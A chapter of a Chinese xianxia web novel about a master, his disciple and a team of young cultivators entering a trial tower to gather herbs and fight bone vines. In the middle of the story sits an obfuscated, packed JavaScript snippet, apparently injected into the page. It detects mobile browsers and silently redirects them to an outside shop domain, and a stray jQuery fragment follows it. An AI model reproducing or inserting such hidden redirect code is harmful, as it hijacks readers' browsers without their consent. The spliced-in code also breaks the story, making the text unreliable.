凌逸几乎是刹那将手收回捂住自己的额发,他是真被吓到了,又很心虚地垂头,那样子差不多就是把脑袋埋在苏远霄肩上。
还好徒弟身高似乎又长几寸,不然他姿态更别扭。
原本平稳行驶的剑也晃几下,但还是稳住了。
“你们这是?”凌越也正要出去,这片广袤无垠的碧空竟是能让他们碰巧遇上。
凌逸此时都不好抬头,怕被风吹开他在凌越面前的遮掩,依旧躲在徒弟身后不出声。
苏远霄就代为回答:“回掌门,弟子方才在学御剑飞行,师尊在旁看着,顺势答应让我练习载人。”
“这样啊,那你学的还挺快的。”凌越中肯地评价,又望了望凌逸那个奇怪的姿态表现,想着自家弟弟面皮薄的性子,直接以为对方是在害羞不愿意见他。
“在哥哥面前还不好意思?你小时候也是最喜欢我带你乘着剑到处飞的,现在也还是这……”
“哥!你别说了!”他现在悬在天上,没办法找个地缝钻进去,坦坦荡荡面对凌越又不是,继续贴着苏远霄也不对,愣是想掉下去,用土把他埋了都好。
也不能给他寻死觅活的机会,凌逸狡辩:“我头突然发晕,叫苏远霄快些把我送回去,阿兄你既然要出宗,顺路去练武场替他告个假。”
然后悄悄捏一下苏远霄肩膀,示意让他快走。
好徒弟谨遵师命:“掌门,弟子先告退了。”
留下凌越发懵,大声传呼了句:“你照顾好他!”
演戏演全套地回到了春浅山,凌逸亦是无奈:“多替你请了段假,这下可高兴?”
“自然高兴。”苏远霄粲然一笑:
“师尊学会撒谎了,这样破绽百出的表现,也就掌门信任他的弟弟还是那么乖,真的不会骗人。”
“你……不许说出去。”危机解除,凌逸捂在额间的手下滑抚着发烫脸颊。
“不说什么,师尊小时候就喜欢黏在哥哥身后的事情?”苏远霄心知肚明,但非要逗他:“师尊有把柄落在我手里了。”
凌逸的脸被燥得染上绯色,瞪着苏远霄。
这人到底知不知道什么叫尊师重道!
显然这个答案存疑,苏远霄伸了手,虽然凌逸微微后仰躲闪还是被他触到眉心,浑身一颤。
“和师尊有了一个共同的秘密,感觉更亲近些。”
凌逸侧头挪开他手:“不敬师长,去罚跑五圈!”
日子就这样过去,终于到了要试炼的时候。
试炼地其实是乾和宗传承许久的秘境,外观看起来就像座宏伟的塔楼,内里却承载着别样的天地。
第一层是幽暗深林,第二层是静谧死水,第三层是熔金火域,第四层无尽沙漠,第五层永冻冰川,再之后是虚无,是混沌,离开自然法则叩问修道者心门。
修道者进入试炼中,需通过要求才能开启更上一层的阶梯,每层世界彼此有禁制隔绝,因而也能当做锁妖塔被使用,他们初学弟子正要挑战一层的简单妖物。
弟子们纷纷仰望高楼,若是这样困难重重,危机四伏,可真有人曾爬上过顶端?
保险起见,试炼时弟子要组队,为的是各种属性都有一应万全,许杜大呼小叫苏少爷一个人就顶一支队伍,根本不需要组五个人了。
玩笑话归玩笑话,此次元宵小队能实战,他们当真是激动的,本还缺着一人,余音就把已经和他们相识的曲直拉过来,算正式入队了。
“我们的队伍也太固若金汤了,又有天泽少爷,又有极稀罕金灵根,还有最最最用功的大小姐,唯一比我天赋低的还比我能干得多,我都不好意思占着这么好的位置拿不下试炼。”
许杜嘚瑟着,展望着队伍拿下第一名的美好未来。
“你们怎么都将修为好的都占去了,这根本毫无公平可言啊?”任现本以为他们队伍的第五个人会是自己,见非是如此,略有不满。
“我早说过进宗之后你就别跟在我后头,你若是想要有好资质的同伴,当初大可以主动结识阿曲。”
余音与他之间似乎有恩怨,此时也没有客气。
曲直稍稍贴近了余音一步:“还是音音更好些。”
任见一时失语,直到看见凌逸过来,心有不甘地说你们整体的修为这下算是扯平,就走开了。
众人发觉他是指凌逸没有修为,顿时也火气起来想讨个说法,但被凌逸好脾气拦住:
“见到我不欢迎么?”
于是元宵小队又热热闹闹围在一起共同庆祝。
其余陪队师长,有的座下弟子众多,只能陪着些个,另外零散的就只能由别人带,师者不够就让师兄师姐来领队,苏远霄觉得自己是师尊唯一亲传这件事尤为幸福,优先级最高,被动摇的可能小极了。
也可能是被凌越安排的特例吧,苏远霄好奇地问:“师尊怎么说服的掌门?”
“我自有办法,”许是想起自己不依不饶地让兄长允许放他去撒野,凌逸轻咳一声,“何须说服,这本就是我作为你师长应该来的。”
几支队伍已经踏入塔楼内,说是会传送到不同地区,共同任务是采集了物品消灭足够妖物即可达标。
“听起来简单,实际上想要完成,都至少需要三天,取这墨骨芯,要遇上骨藤,这灵植遇到活物才长新藤蔓,专门吸取灵力,隔了一日才能开花,花谢后藤条变炭黑,从中能剥出骨芯,但若晚了就没有了。”
“这个我在草药书上见过,墨骨藤,作用通筋活血,治疗骨折……但是不知它是还能这样采集的!”
“好新奇,看来要再多读几本书,才能知道更多见闻,我都有点激动了,新鲜未知的事物就在前方!”
踏进门口,面前仍是狭窄的墙面,一道阶梯延伸旋转而上,拾级深入,眼前白茫茫的壁晃荡,如同雾气弥散开,转瞬间他们已经置身幽绿深林之中。
叶片浓郁的深色几乎同墨黑,遮天蔽日牢牢封锁这片天地一般,略带压抑感。
但确实生机盎然,草木肆意横行着,许杜没忍住激动,如同一只在丛林活蹦乱跳的猴子:
“哇!这个就是铁线蕨,我只在草药园的田里见过,还是第一次见野生的!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785058|208293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
凌逸笑笑:“我们运气真好,直接传到这个地方了,骨藤正好附近就有,我带你们循着我记忆里的路线找找,要小心,那些貌似死物的枯枝极有可能就是骨藤,感受到波动会发起攻击的。”
一路上在凌逸的贴心叮嘱下采集了许多草药,其温柔可亲的程度,让许杜想起对自己非常关爱的母亲,嘴里称呼串了喊了句娘,都没发觉。
“娘,这个是什么?这个是不是那个,我回想一下!我记得的!”
于是在许杜搜肠刮肚回想的时候,凌逸保持了长达几息的沉默。
苏远霄没忍住噗嗤笑了。
“是还阳草,对不对!”
凌逸无奈点头:“是的,这草药略难见,在书上的记录靠后些,你已经熟读到哪里?能记得起他的名字,实属不易,你称得上记忆力敏锐,也是刻苦。”
“嘿嘿……其实我也就全部乱翻了一遍看看,谢谢娘……不对,仙尊。”
凌逸面上依旧挂着淡淡笑意,看着许杜因为窘迫还把自己绊倒摔了一跤。
余音也没有忍住:“哈哈哈,慈母多败儿。”
“对不起仙尊啊啊啊!我我我,虽然是口误,但我真愿意当您儿子!”许杜诚恳。
凌逸又陷入了诡异的沉默。这个,他能拒绝吗?
也罢,他投下一个模棱两可的回答:“嗯……”
许杜感动,见苏远霄笑得不同以往,无比嚣张得多,他一把决定打压,分外骄傲地对他说:
“我做你师尊儿子,辈分是不是比你高点?”
苏远霄下意识便回了一句,同龄人之间常有压人辈分的经典台词:“我是你爹。”
下个瞬间,旁边枯木堆里窜出一根藤条拦截在这个混乱的家族结构之中。
凌逸迅速反应,提剑将其劈断,紧接而来更多藤蔓,几乎要编织成网将他们包裹:“这一片如今怎么长了那么多!你们小心,可以用火灵力攻击!”
有火属性的许杜闻言仓皇使用灵力,反而胡乱给藤条喂了点木灵力滋长他生的更粗壮,从他小腿擦过,带着短刺的表面刻下一道血痕。
苏远霄顺手将许杜那边一片的藤蔓也烧干净,站在他旁边摇头:“爹对你很失望。”
许杜:“……”
凌逸斩掉一些藤,注意到许杜腿上血迹,惊慌奔来询问:“受伤了?还能走吗?我们退远一点。”
许杜左看看右看看,居然感到了一丝温馨,但是又哪里不太对。
余音那边竟然和曲直配合十分默契,金和风都能增益他们的战斗能力,风带来身法轻捷,金能让武器跟砍瓜切菜一样削去坚韧老藤,别提许凡康力气本来就大,有了助力更是啥事都没有。
合着就他受伤了,许杜心里悲戚。
脱离了骨藤的攻击范围,他们在一山洞壁里暂歇,许杜拖着受伤的腿哀嚎:“嘶…好痛啊好吓人呜呜。”
“你正好采了还阳草,我这里还有墨骨藤。”
凌逸拿出方才割下的细嫩藤条给他:“两者用木火灵力炼化了外敷能治伤,你试试看。”